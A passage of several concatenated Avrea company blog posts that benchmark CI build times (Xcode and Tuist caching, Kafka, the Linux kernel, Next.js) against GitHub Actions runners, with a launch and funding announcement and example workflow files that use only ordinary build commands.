GitHub’s times also vary a lot. Mastodon with Tuist took anywhere from 186 to 355 seconds on the standard runner across our runs; on Avrea the same build stayed between 34 and 48 seconds. ### The compilation cache Xcode 26 can cache the output of each compile step. Avrea turns this on for every macOS job and serves the cache from storage colocated with the runners. Cross-machine hits need identical paths ([Swift Forums](https://forums.swift.org/t/about-swift-shared-cache-across-machines/81850)); every Avrea VM builds at the same workspace path, so they match. | Project | No cache | Warm cache | Speedup | | --- | --- | --- | --- | | Mastodon | 61.2 s | 31.8 s | 1.9x | | Wikipedia (test build) | 113.4 s | 43.8 s | 2.6x | | Wikipedia | 39.0 s | 32.7 s | 1.2x | | Pocket Casts | 98.8 s | 73.6 s | 1.3x | | iTerm2 (macOS) | 63.0 s | 29.6 s | 2.1x | | CotEditor (macOS, test build) | 46.6 s | 25.8 s | 1.8x | | Sequel Ace (macOS, test build) | 38.2 s | 26.6 s | 1.4x | | NetNewsWire (macOS) | 31.3 s | 26.5 s | 1.2x | | Firefox (test build) | 137.6 s | 118.9 s | 1.2x | | Signal (test build) | 146.4 s | 129.8 s | 1.1x | | swift-syntax in an app | 15.4 s | 6.6 s | 2.3x | | swift-syntax (package) | 14.8 s | 11.1 s | 1.3x | **Swift packages are cached too.** Since Xcode 26.5, Swift package dependencies built as part of an app are cached as well: [swift-syntax](https://github.com/swiftlang/swift-syntax) used as a dependency of a small app builds 2.3 times faster from the cache. **Caching keeps working as main moves.** Mastodon, with the cache warmed at the first commit: | Commit | No cache | Warm cache | | --- | --- | --- | | Cached commit | 54.0 s | 29.6 s | | 10 commits later (22 files changed) | 49.5 s | 34.2 s | | 50 commits later (62 files changed) | 47.6 s | 34.1 s | **One timestamp can switch it off.** We noticed that Firefox gains very little from the cache. Turns out Firefox stamps its build time into two generated source files, which invalidates the cache for its main app target and everything that depends on it. Pinning the timestamp makes every cache key reproducible and cuts Swift compile work by 85%: | Firefox, warm cache | As shipped | Timestamp pinned | | --- | --- | --- | | Swift compile work | 256-266 s | 40-47 s | The cache helps least where the build is dominated by steps it doesn’t cover, like Firefox’s icon compile, and in small apps like NetNewsWire, where fixed costs make up most of the build. Signal turns off [explicitly built modules](https://developer.apple.com/videos/play/wwdc2024/10171/) for its own targets, which switches off Swift caching for them, so only its dependencies come from the cache. ### The Tuist module cache Tuist’s module cache works a level higher than Xcode’s: whole targets you aren’t changing come from the cache as prebuilt frameworks. On Mastodon generated with Tuist: | Layers | Time | | --- | --- | | Nothing | 36.8 s | | Compilation cache | 21.9 s | | Module cache | 14.4 s | | Both | 8.8 s | With both caches warm, a new job builds in 11.8 seconds, against 269.8 seconds on GitHub’s standard runner with the same Tuist version: 23 times faster. The new-job result is about 3 seconds slower than the 8.8-second single-run result. The module cache is filled by a tuist cache warm job on main, and pull requests pick it up: ``` name: Warm Tuist caches on: push: branches: [main] jobs: warm: runs-on: avrea-macos-latest-8-vcpu steps: - uses: actions/checkout@v7 - name: Install Tuist uses: jdx/mise-action@v4 - name: Warm Tuist module cache run: tuist cache warm ``` ### The package registry The registry saves time before the build starts: resolving dependencies. Resolving a package’s dependencies with no lockfile: | Package | GitHub, git | Avrea, git | Avrea, registry | | --- | --- | --- | --- | | Vapor (28 packages) | 47.3 s | 23.3 s | 11.0 s | | The Composable Architecture | 38.3 s | 20.6 s | 7.5 s | With a committed lockfile and --force-resolved-versions, Vapor resolves in 4 seconds from the registry, against 12 from git. It’s not compile time, and it’s small in absolute terms, but it’s pure waiting on every job. Private packages resolve the same way. These registry measurements cover [Vapor](https://github.com/vapor/vapor) and [The Composable Architecture](https://github.com/pointfreeco/swift-composable-architecture). In the latest production tests, registry resolution failed for Firefox, Mastodon and CotEditor; CotEditor took 475.6 seconds using git. We do not report a registry speedup for those three apps. ## What it costs | Runner | Hardware | Price per minute | | --- | --- | --- | | GitHub macos-26 | M1, 3 vCPU, 7 GB | $0.062 | | GitHub macos-26-xlarge | M2 Pro, 5 vCPU | $0.102 | | Avrea macOS 8 vCPU | M5 Max, 8 vCPU, 24 GB | $0.08 | | Avrea macOS 16 vCPU | M5 Max, 16 vCPU, 48 GB | $0.16 | [Avrea’s 8 vCPU Mac](https://avrea.com/pricing) costs 29% more per minute than GitHub’s standard runner and 22% less than its larger one. Because builds finish so much faster, every build in our tests still cost less on Avrea: 3.5 to 20 times cheaper than the standard runner, 2.4 to 12.9 times cheaper than the larger one. Cost per build, build step only. | Project | GitHub | GitHub cost* | Avrea | Avrea cost | Faster | Cheaper | | --- | --- | --- | --- | --- | --- | --- | | Firefox (test build) | 747.6 s | $0.806 | 118.9 s | $0.159 | 6.3x | 5.1x | | Signal (test build) | 719.3 s | $0.744 | 129.8 s | $0.173 | 5.5x | 4.3x | | Mastodon (Tuist) | 269.8 s | $0.310 | 11.8 s | $0.016 | 22.8x | 19.6x | | Mastodon | 279.4 s | $0.310 | 31.8 s | $0.042 | 8.8x | 7.3x | | Wikipedia (test build) | 401.4 s | $0.434 | 43.8 s | $0.058 | 9.2x | 7.4x | | Wikipedia | 159.2 s | $0.186 | 32.7 s | $0.044 | 4.9x | 4.3x | | Pocket Casts | 554.0 s | $0.620 | 73.6 s | $0.098 | 7.5x | 6.3x | | iTerm2 (macOS) | 386.7 s | $0.434 | 29.6 s | $0.039 | 13.1x | 11.0x | | CotEditor (macOS) | 192.5 s | $0.248 | 25.8 s | $0.034 | 7.5x | 7.2x | | Sequel Ace (macOS) | 232.6 s | $0.248 | 26.6 s | $0.035 | 8.7x | 7.0x | | NetNewsWire (macOS) | 81.3 s | $0.124 | 26.5 s | $0.035 | 3.1x | 3.5x | Against GitHub’s larger runner: | Project | GitHub larger | Cost* | Avrea | Avrea cost | Faster | Cheaper | | --- | --- | --- | --- | --- | --- | --- | | Firefox (test build) | 308.8 s | $0.612 | 118.9 s | $0.159 | 2.6x | 3.9x | | Signal (test build) | 235.5 s | $0.408 | 129.8 s | $0.173 | 1.8x | 2.4x | | Mastodon (Tuist) | 82.3 s | $0.204 | 11.8 s | $0.016 | 7.0x | 12.9x | | Mastodon | 89.3 s | $0.204 | 31.8 s | $0.042 | 2.8x | 4.8x | | Wikipedia (test build) | 211.3 s | $0.408 | 43.8 s | $0.058 | 4.8x | 7.0x | | Wikipedia | 70.6 s | $0.204 | 32.7 s | $0.044 | 2.2x | 4.7x | | Pocket Casts | 206.9 s | $0.408 | 73.6 s | $0.098 | 2.8x | 4.2x | | iTerm2 (macOS) | 126.6 s | $0.306 | 29.6 s | $0.039 | 4.3x | 7.8x | | CotEditor (macOS) | 88.0 s | $0.204 | 25.8 s | $0.034 | 3.4x | 5.9x | | Sequel Ace (macOS) | 88.9 s | $0.204 | 26.6 s | $0.035 | 3.3x | 5.8x | | NetNewsWire (macOS) | 44.6 s | $0.102 | 26.5 s | $0.035 | 1.7x | 2.9x | * [GitHub rounds up to whole minutes for billing](https://docs.github.com/en/billing/reference/actions-runner-pricing). ## How to turn it on Change runs-on to an Avrea macOS label, like avrea-macos-latest-8-vcpu. The compilation cache and the package registry are on for every job, with nothing else to change. If you use Tuist, it can also reuse whole prebuilt targets from Avrea’s module cache. Add a fullHandle to Tuist.swift, and run tuist cache warm on main like the workflow above. For SwiftPM and Tuist package dependencies, pass --replace-scm-with-registry to resolve them from the registry. The details are in the docs: [Xcode compilation cache](https://docs.avrea.com/cache/build-cache/xcode/), [Tuist](https://docs.avrea.com/cache/build-cache/tuist/) and [Swift packages](https://docs.avrea.com/cache/packages/swift/). ## What’s next Fast hardware and a warm cache get most apps to a fraction of their GitHub build time. The next steps are about the remaining seconds in a new job: fetching Tuist’s cached modules faster, and warming caches before a job even starts. As always, fixing one bottleneck moves it somewhere else. ## Appendix: how we measured Each benchmark job timed the xcodebuild build step with [hyperfine](https://github.com/sharkdp/hyperfine): one warmup build, then two or more timed builds on the same machine, at a pinned commit with the same sources and tool versions on every side. Where a project ran more than once, we report the mean of all timed builds. The warm-cache numbers come from separate jobs: after one job built the commit and warmed the caches, three more new jobs each ran one stock build, alongside one new job with the cache off as a control. We didn’t pin hosts, so a job may run on a different machine than the one that warmed the cache. The machine table and the Tuist layer table were timed on the same machine after a warmup build, where Xcode’s local cache also helps the layer table. Signal and Sequel Ace were built with Xcode 26.6, following their own CI; the rest with Xcode 26.5. Mastodon with Tuist used Tuist 4.208.0 on both sides. The new-VM warm-cache measurements were taken after PR 3006 shipped: 12.2, 12.2 and 11.1 seconds with both caches (mean 11.8 seconds), and 18.6, 18.2 and 17.7 seconds with the module cache only (mean 18.2 seconds). Ratios use the unrounded means. **Tuist’s published benchmark.** Tuist’s own [published run](https://tuist.dev/blog/2025/10/22/xcode-cache) of the same Mastodon project, with the module cache only, measured 25.0 seconds on Namespace (M4 Pro, 6 vCPU). Ours is 18.2 seconds (M5 Max, 8 vCPU). Of course, this is not apples to apples. Tuist’s run is the most recent public benchmark of the same project set, published in October 2025 on Xcode 26.0.1 with an older Tuist and the compilation cache off. Ours uses Xcode 26.5 and Tuist 4.208.0 on different hardware. This is included as a reference point, not as a controlled and fair comparison. ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/kafka-gradle-ci-benchmark # Benchmark: Kafka builds 6.6x faster on Avrea than GitHub Actions 5m 44s on GitHub Actions. 2m 10s on Avrea without cache. 52 seconds with Gradle's remote cache. That's 2.6x from the hardware, 6.6x once caching kicks in. [Blog](https://avrea.com/blog) CI/CD 5m 44s on GitHub Actions. 2m 10s on Avrea without cache. 52 seconds with Gradle's remote cache. That's 2.6x from the hardware, 6.6x once caching kicks in. [Leo Lännenmäki](https://avrea.com/team/leo-lannenmaki)23 April 2026 On GitHub Actions, a no-cache Kafka build takes 5 minutes 44 seconds. On Avrea, the same build, same 2 vCPU spec: 2 minutes 10 seconds without cache, 52 seconds with Gradle's remote cache. ## Why Kafka [Apache Kafka](https://github.com/apache/kafka) is a large JVM project: dozens of [Gradle](https://gradle.org/) modules, a long test suite, heavy `javac`. Gradle supports a [build cache](https://docs.gradle.org/current/userguide/build_cache.html) for task outputs. This combination was a good fit for benchmarking raw runner performance and [Avrea’s Gradle remote caching](https://docs.avrea.com/cache/build-cache/gradle/). ## How we ran the test We ran `./gradlew assemble` on both sides. Same runner (2 vCPU, 7.8 GiB). [Temurin 21](https://adoptium.net/temurin/releases/?version=21&os=any&arch=any). Same Kafka [commit](https://github.com/apache/kafka/tree/4.2.0). | | GitHub Actions | Avrea | | --- | --- | --- | | Runner label | `ubuntu-24.04` | `avrea-ubuntu-latest-2-vcpu` | | vCPU | 2 | 2 | | RAM | 7.8Gi | 7.8Gi | For the cached run, Gradle’s remote cache was pointed at Avrea’s cache. On the no-cache run, build caching was disabled entirely. The GitHub Actions side had no remote cache hooked up on either run. Below is a self-contained example workflow of what we are measuring. The Gradle remote cache endpoint is configured automatically on Avrea runners, we only had to flip `--build-cache` in the build. `-PcommitId=benchmark` keeps the git SHA out of task inputs so the cache isn’t invalidated on every commit. ``` name: "Kafka" on: workflow_dispatch: env: PROJECT_REPO: "https://github.com/apache/kafka.git" PROJECT_TAG: "4.2.0" JAVA_VERSION: "21" jobs: build: name: "Build" runs-on: avrea-ubuntu-latest-2-vcpu steps: - name: Clone project run: git clone --depth 1 --branch ${{ env.PROJECT_TAG }} ${{ env.PROJECT_REPO }} kafka - uses: actions/setup-java@v4 with: distribution: temurin java-version: ${{ env.JAVA_VERSION }} - name: Build working-directory: kafka run: ./gradlew assemble --build-cache --no-daemon -PcommitId=benchmark ``` ## Results | | GitHub Actions | Avrea | Speedup | | --- | --- | --- | --- | | **No cache** | 5m 44s | 2m 10s | **2.6x** | | **With cache** | n/a | **52.2s** | **6.6x** | Hardware alone buys 2.6x. Turning on Gradle’s remote cache against Avrea’s cache layer gets the warm number to 52 seconds, for 6.6x total. ## Why it’s faster ### The hardware (the 2.6x) A no-cache Kafka build spends most of its time in `javac` and incremental class compilation across modules. CPU-bound work. Avrea’s 2 vCPU runner on dedicated hardware pulls the 2.6x on its own. Same mechanics as every other CPU-bound JVM build. ### The cache (the 6.6x) Gradle’s remote cache stores task outputs (compiled class files, test results, etc.) keyed by the hash of each task’s inputs. On a cached run, if a task’s inputs match, Gradle pulls the output and skips the task entirely. Warm hit rate is a low 23%. Kafka’s `assemble` involves generated sources and Scala compilation that consume most other modules’ outputs, which can cause cache invalidations / misses. Improving the build to be more cache friendly could speed it up massively. That’s why Kafka’s 6.6x is more modest than the 39x on Bazel or the 142x on Next.js in this series of blog posts. 6.6x is still nothing to sneeze at if you get it out-of-the-box without any changes to your workflow. ## Other benchmarks in this series - [Bazel](https://avrea.com/blog/bazel-ci-benchmark) (39.7x) - [Linux kernel](https://avrea.com/blog/linux-kernel-ci-benchmark) (68x) - [Ghostty](https://avrea.com/blog/ghostty-nix-ci-benchmark) (27x) - [Next.js](https://avrea.com/blog/nextjs-turborepo-ci-benchmark) (142x) - [RisingWave](https://avrea.com/blog/risingwave-sccache-ci-benchmark) (11.5x) ## What Avrea is Avrea is [a label swap, not a platform migration](https://avrea.com/ci-runners). `runs-on: avrea-ubuntu-latest` and your Gradle pipeline runs on our hardware. Every job comes with [CPU and memory at step granularity](https://avrea.com/observability), searchable log history, and SSH into the running VM when you need it. Flaky JVM tests are where the SSH access earns its keep. A test that only fails on the CI box usually needs jstack or a heap dump, which you can only get from the running VM. Every job runs in an isolated ephemeral VM. [ISO 27001:2022 certified](https://avrea.com/blog/avrea-iso-27001-certified). [See pricing](https://avrea.com/pricing) or [start free on Avrea →](https://console.avrea.com) ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/launching-avrea # CI/CD for the age of AI Introducing Avrea and our funding round as we build CI/CD for AI-native software development, helping teams ship faster, more often, and with higher quality. [Blog](https://avrea.com/blog) Company Introducing Avrea and our funding round as we build CI/CD for AI-native software development, helping teams ship faster, more often, and with higher quality. [Hannu Valtonen](https://avrea.com/team/hannu-valtonen)26 May 2026 The bottleneck in software development is no longer writing code. It is shipping it. Before Avrea, both of us spent years building and scaling technology companies successfully under real pressure. We’ve experienced the late nights before launches, when the team is ready to ship, and everything depends on moving fast. But too often, the pipeline became the bottleneck. Builds got stuck. Tests suddenly failed. What should have taken minutes took hours, and the team spent more time waiting than building. For years, this has been the accepted way of doing software development. But recently, something fundamental changed. ‍ ## Software is no longer written only by humans Developers now build side by side with AI, generating and iterating on code faster than ever before. What used to take days now happens in minutes. And that changes everything. While code creation has accelerated dramatically, the infrastructure responsible for testing, validating, and shipping that code has barely evolved. Traditional CI/CD systems were never designed for a world where humans and AI continuously produce changes at massive scale. If teams generate five times more code, they also need to run five times more tests, pipelines, and validations, and with today’s systems, that simply doesn’t scale. The bottleneck in software development is no longer writing code. It is shipping it. That realization became the starting point for Avrea. We retreated to a cottage in the Finnish countryside to rethink the problem from first principles and explore what a fundamentally new approach could look like. We spent hours talking not only about the technology, but also about the kind of company we wanted to build around it. Both of us had seen firsthand how much organizational culture shapes a company’s outcomes and success. The best teams move fast because they trust each other, communicate openly, and they take ownership, while having fun along the way. From the beginning, we wanted Avrea to have a culture where ambitious people can do the best work of their careers together. Because building the future of software delivery is essentially about building the kind of team capable of creating it. ## Rebuilding the delivery layer We started Avrea because we believe the entire software delivery layer needs to be rebuilt for the AI era. Our mission is simple: ***Help software teams ship faster, more often, and with higher quality.*** Avrea is designed for a future where humans and AI agents collaborate continuously. It works with existing CI/CD workflows, is adopted by changing a single line of code, and allows AI agents to be first-class users of the system themselves, becoming a native part of how software gets built, tested, and shipped. ## Beyond faster pipelines As AI-generated code increases, maintaining software quality becomes dramatically harder. More code means more regressions, more flaky tests, more dependency problems, and more engineering time spent debugging pipelines and infrastructure instead of building products. The future of CI/CD isn’t just faster infrastructure. For too long CI/CD systems have been black boxes that have left you wondering what’s happening inside them. Because Avrea operates inside the actual CI environment, it sees what traditional tools often can’t: build logs, cache behavior, failing tests, dependency mismatches, infrastructure bottlenecks, and the exact conditions that make pipelines succeed or break. This allows Avrea to do something fundamentally different. Instead of only reporting problems, Avrea will solve them for you. Avrea can identify flaky tests, detect regressions and environment drift, surface inefficient workflows, analyze cache performance, and pinpoint slow or unreliable jobs automatically. It can also generate pull requests with proposed fixes, helping teams resolve issues before they become recurring problems. We’re also building capabilities that continuously improve software quality over time: automated dependency upgrades validated against real CI runs, modernization of outdated tooling, AI-assisted test improvements, and documentation that evolves alongside the codebase itself. Every proposed change is automatically validated against the full pipeline before developers ever need to review it. Our vision is that, in the future, CI/CD systems won’t just execute pipelines. They’ll actively improve the health, reliability, and maintainability of software continuously in the background. ## Announcing our funding round Alongside today’s launch, we’re also excited to announce that Avrea has raised $4.7 million in total Pre-Seed funding led by [Earlybird](https://earlybird.com/). They immediately shared our conviction that the bottleneck in software is moving from writing code to shipping it and that the delivery layer needs to be rebuilt for this new era. Over the years, they have backed category-defining technology companies including UiPath, N26, Peak Games, and Aiven, and we’re excited to build the future of software delivery together with them. The new funding will help us scale the engineering team, expand the platform, and continue building the delivery layer for the AI era. ## This is just the beginning Software delivery has entered an entirely new era. One where AI fundamentally reshapes how software is created. The infrastructure around software delivery needs to evolve just as dramatically. We’re here to help make that happen. Welcome to Avrea. Hannu Valtonen & Juha Valvanne, Founders of Avrea ‍ Avrea is available today, and [getting started](https://console.avrea.com/) takes only a few minutes. Eligible organizations can try Avrea with a monthly credit equivalent to 3,000 minutes on 2-vCPU Linux x64 runners. See the [billing guide](https://docs.avrea.com/billing/) for eligibility and usage limits. ‍ ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/linux-kernel-ci-benchmark # Benchmark: Linux kernel builds 3-68x faster on Avrea than GitHub Actions On GitHub Actions, a Linux kernel build takes 27 minutes 23 seconds. On Avrea, with the same two vCPUs: 9 minutes 3 seconds, 24 seconds with a warm cache. [Blog](https://avrea.com/blog) CI/CD On GitHub Actions, a Linux kernel build takes 27 minutes 23 seconds. On Avrea, the same build, with the same two vCPUs: 9 minutes 3 seconds, 24 seconds with a warm cache. [Leo Lännenmäki](https://avrea.com/team/leo-lannenmaki)12 May 2026 On GitHub Actions, a Linux kernel build takes 27 minutes 23 seconds. On Avrea, the same build, with the same two vCPUs: 9 minutes 3 seconds, 24 seconds with a warm cache. ## Why the Linux kernel The Linux kernel is one of the most well known open source C codebases. It is also very large at [over 40M lines of code](https://en.wikipedia.org/wiki/Linux_kernel#Community). Building the kernel from scratch is a [commonly used benchmark](https://openbenchmarking.org/test/pts/build-linux-kernel-1.18.0) to measure the speed of a system. ## How we ran the test We used the same runner spec (2 vCPU, 7.8 GiB, Ubuntu 24.04) and the same kernel [commit](https://github.com/torvalds/linux/tree/v6.19) for both Avrea and GitHub. We ran `make defconfig && make -j2`. [`defconfig`](https://lwn.net/Articles/1026337/) is used to configure the build and `-j2` to set the number of parallel compile/link processes to two since we ran the test on two vCPUs. | | GitHub Actions | Avrea | | --- | --- | --- | | Runner label | `ubuntu-24.04` | `avrea-ubuntu-latest-2-vcpu` | | vCPU | 2 | 2 | | RAM | 7.8Gi | 7.8Gi | For the cached run, we used [ccache](https://ccache.dev/). On Avrea ccache is configured automatically to use [Avrea’s build cache](https://docs.avrea.com/cache/build-cache/overview/) as the backing store. GitHub Actions has no equivalent cache service, although you could wire GitHub Actions cache to ccache using an adapter. That approach has two challenges: 1) GHA cache is not very fast ([see how we made GHA cache fast](https://avrea.com/blog/how-we-made-github-actions-cache-up-to-6x-faster)), and 2) GHA cache is much better suited for a small amount of large files than thousands and thousands of small files generated by a C compiler. Below is a self-contained example workflow of what we are measuring. ``` name: "Linux Kernel" on: workflow_dispatch: env: PROJECT_REPO: "https://github.com/torvalds/linux.git" PROJECT_TAG: "v6.19" jobs: build: runs-on: avrea-ubuntu-latest-2-vcpu env: CCACHE_COMPILERCHECK: content steps: - name: Clone project run: git clone --depth 1 --branch ${{ env.PROJECT_TAG }} ${{ env.PROJECT_REPO }} linux - name: Install build deps run: sudo apt-get update && sudo apt-get install -y ccache flex bison libelf-dev libssl-dev bc - name: Build working-directory: linux run: | make defconfig make -j2 ``` ## Results | | GitHub Actions | Avrea | Speedup | | --- | --- | --- | --- | | **No cache** | 27m 23s | 9m 3s | **3x** | | **With cache** | n/a | **24.1s** | **68x** | Hardware alone makes the build 3x faster. ccache with Avrea’s build cache makes a warm build finish in 24 seconds. ## Why it’s faster *The build is clearly CPU bound* ### The hardware (the 3x) As the chart above shows, a no-cache kernel build basically maxes out any amount of CPU cores you have available. The build also writes tens of thousands of object files to /tmp, which the link step then reads, so a fast disk doesn’t hurt either. Avrea’s 2 vCPU runner gets a score of ~6500 in single-core [sysbench](https://github.com/akopytov/sysbench). GitHub gets ~3700. Disk write speed difference is even bigger: ~4 GB/s on Avrea, ~220 MB/s on GitHub. ### The cache (the 68x) ccache hashes each compilation’s inputs (the preprocessed source, compiler flags, etc.) and caches the output. If a compilation’s hash matches later, ccache hands back the cached object and the compiler never runs. Kernel builds are well-suited to ccache. Between reasonable commits, most translation units receive identical preprocessor output, so the warm-run hit rate stays very high. Avrea’s build cache is co-located with the runners, so every ccache lookup reads from a nearby object store. The whole build finishes in 24 seconds. It’s important to note here that the cache stays warm between runs, so subsequent commits/pushes build fast because the code is mostly the same as on the previous run. ### The alternative - more hardware (the 27x) Another way to make the build fast is just to throw more hardware at it. On an `avrea-ubuntu-latest-32-vcpu` machine the build takes 60s without any caching. In the [openbenchmarking.org ranking](https://openbenchmarking.org/test/pts/build-linux-kernel-1.18.0) it sits just below the [Intel Core Ultra 7 270K Plus](https://www.techpowerup.com/review/intel-core-ultra-7-270k-plus/)’s 53s. The 270K is Intel’s current flagship gaming CPU. On Avrea you get both: fast hardware and out-of-the-box caching to make your builds go really fast. ## Other benchmarks in this series - [Bazel](https://avrea.com/blog/bazel-ci-benchmark) (39.7x) - [Ghostty](https://avrea.com/blog/ghostty-nix-ci-benchmark) (27x) - [Kafka](https://avrea.com/blog/kafka-gradle-ci-benchmark) (6.6x) - [Next.js](https://avrea.com/blog/nextjs-turborepo-ci-benchmark) (142x) - [RisingWave](https://avrea.com/blog/risingwave-sccache-ci-benchmark) (11.5x) ## About Avrea Avrea is a [drop-in replacement for GitHub Actions runners](https://avrea.com/ci-runners). Update the `runs-on` label in your workflow and the build moves over. Runs come with [CPU and memory metrics](https://avrea.com/observability), searchable log history, and a way to SSH into the running VM. [See pricing](https://avrea.com/pricing) or [start free on Avrea →](https://console.avrea.com) ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/m5-max-runners-macos-arm-linux-ci-on-apple-silicon # M5 Max runners are here: macOS and ARM Linux CI on Apple Silicon Avrea now supports GitHub Actions workloads on macOS and ARM Linux powered by the latest M5 Max Apple Silicon. Less money for much more performance. [Blog](https://avrea.com/blog) Product Updates Avrea now supports GitHub Actions workloads on macOS and ARM Linux powered by the latest M5 Max Apple Silicon. Less money for much more performance. [Hannu Valtonen](https://avrea.com/team/hannu-valtonen)9 June 2026 Avrea now supports GitHub Actions workloads on macOS and ARM Linux powered by the latest M5 Max Apple Silicon. That means native Apple builds, fast ARM Linux jobs and access to some of the fastest ARM CPUs available for CI with built-in caching to make it even faster. ## macOS and ARM CI should not be the slow lane For most teams, these are the workloads CI does worst. You either wait for constrained hosted macOS capacity, or run ARM workloads on infrastructure that was not really built for fast CI. Avrea’s M5 Max runners change that. For comparison, as of writing this, [GitHub offers](https://docs.github.com/en/enterprise-cloud@latest/billing/reference/actions-runner-pricing) macOS M2 Pro (5-core) runners as the fastest machine and as a default macOS option an M1 3-core. GitHub charges $0.102 per minute for M2 Pro 5-core where Avrea charges $0.08 for the M5 Max 8-core. ## Why we chose M5 Max M5 Max gives CI workloads something they usually do not get: high-end Apple Silicon CPUs as infrastructure, not just as developer laptops. For many build-heavy jobs, CPU performance still matters more than almost anything else. Compilers, package managers, test runners, bundlers, linkers, and compression tools all spend meaningful time on CPU-bound work. M5 Max is especially interesting because it brings some of the fastest ARM CPU cores available, high single-thread performance for build steps that do not parallelize well, strong multi-core throughput for compilation and test suites, unified memory bandwidth for large build graphs and dependency-heavy workloads, and native execution for macOS, iOS, Swift, Xcode, and Apple-platform builds. ## Available macOS and ARM Linux runner sizes M5 Max macOS runners are available in two sizes: | Label | vCPUs | Memory | Price | | --- | --- | --- | --- | | `avrea-macos-26-8-vcpu` | 8 | 24 GB | $0.08/min | | `avrea-macos-26-16-vcpu` | 16 | 48 GB | $0.16/min | The original five M5 Max ARM Linux sizes are listed below. Lower-memory 4-vCPU / 8-GB and 8-vCPU / 16-GB options are also available; see the [current runner labels](https://docs.avrea.com/runners/#linux-arm). | Label | vCPUs | Memory | Price | | --- | --- | --- | --- | | `avrea-ubuntu-latest-arm-1-vcpu` | 1 | 4 GB | $0.006/min | | `avrea-ubuntu-latest-arm-2-vcpu` | 2 | 8 GB | $0.012/min | | `avrea-ubuntu-latest-arm-4-vcpu` | 4 | 16 GB | $0.024/min | | `avrea-ubuntu-latest-arm-8-vcpu` | 8 | 32 GB | $0.048/min | | `avrea-ubuntu-latest-arm-16-vcpu` | 16 | 64 GB | $0.096/min | The labels make CPU and memory explicit in the workflow. Start with the size that matches your build, monitor CPU and RAM usage in Avrea, and scale up when the job is actually bottlenecked. Larger labels are useful for compilation, test suites, packaging, and multi-architecture release jobs that can take advantage of more CPU or memory. ## What this makes faster Fast ARM CPUs help, but CI performance is not only about raw CPU time. A lot of build time is spent downloading dependencies, restoring package manager state, rebuilding unchanged artifacts, and moving cache data over the network. That is where Avrea’s caching support matters. For macOS builds, in addition to the many caching types Avrea supports, we also support Xcode caching so repeated macOS, iOS, watchOS, visionOS, and Swift workflows can avoid rebuilding work that has already been done. This is especially useful for dependency-heavy Xcode projects where derived data, compiled modules, package state, and generated build outputs can dominate repeated CI runs. For ARM Linux workloads, Avrea supports caching across the ecosystems teams commonly use in CI. Go builds can benefit from cached module and build outputs. Rust builds can reuse Cargo registry data, git dependencies, and compiled artifacts. Node.js and TypeScript projects can avoid repeatedly downloading npm, pnpm, or Yarn dependencies. Python projects can reuse package and build caches. C, C++, and Zig projects can benefit from compiler and build-system caches where the workflow is configured to use them. Avrea also supports GitHub Actions cache, build cache, and package cache, so teams can accelerate the parts of the workflow around the compiler too: dependency installation, package downloads, generated artifacts, and repeated build steps across branches and pull requests. The result is that M5 Max runners are not just faster machines, but faster machines with caching designed to reduce the repeated work that makes macOS and ARM Linux CI slow. ## Use the same workflow on faster runners Avrea runners work with GitHub Actions workflows, so teams can usually start by changing the runner label instead of redesigning their pipeline. ``` jobs:  build:    runs-on: avrea-macos-26-16-vcpu    steps:      - uses: actions/checkout@v6      - run: xcodebuild test ``` or: ``` jobs:  arm64-build:    runs-on: avrea-ubuntu-latest-arm-16-vcpu    steps:      - uses: actions/checkout@v6      - run: make test ``` Migration only takes 5 minutes. Keep the workflow structure, update the label, and run the job on Avrea’s M5 Max infrastructure. [Sign up for Avrea](https://console.avrea.com) and try M5 Max macOS and ARM Linux runners in your GitHub Actions workflows. ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/nextjs-turborepo-ci-benchmark # Benchmark: Next.js builds 2-142x faster on Avrea than GitHub Actions 3m 23s on GitHub Actions. 1m 23s on Avrea without cache. 1.4 seconds with a warm Turborepo cache. That's 2.4x from the hardware, 142x once caching kicks in. [Blog](https://avrea.com/blog) CI/CD 3m 23s on GitHub Actions. 1m 23s on Avrea without cache. 1.4 seconds with a warm Turborepo cache. That's 2.4x from the hardware, 142x once caching kicks in. [Leo Lännenmäki](https://avrea.com/team/leo-lannenmaki)10 May 2026 On GitHub Actions, a no-cache Next.js build takes 3 minutes 23 seconds. On Avrea, the same build, same 2 vCPU spec: 1 minute 23 seconds without cache, 1.4 seconds with a warm Turborepo cache. ## Why Next.js [Next.js](https://github.com/vercel/next.js) is a [very popular](https://www.statista.com/statistics/1124699/worldwide-developer-survey-most-used-frameworks-web/) JS framework, and its monorepo uses [Turborepo](https://turborepo.com/) as the build system. That makes it a useful proxy benchmark for any JavaScript monorepo. Turborepo’s caching is straightforward: hash the task’s inputs, look up the output, and if the output is there, [skip the work](https://turborepo.dev/docs/guides/skipping-tasks). ## How we ran the test We ran Next.js’s standard Turborepo build on both sides. Node LTS, 2 vCPU runners, pinned Next.js [commit](https://github.com/vercel/next.js/tree/v15.3.1). | | GitHub Actions | Avrea | | --- | --- | --- | | Runner label | `ubuntu-24.04` | `avrea-ubuntu-latest-2-vcpu` | | vCPU | 2 | 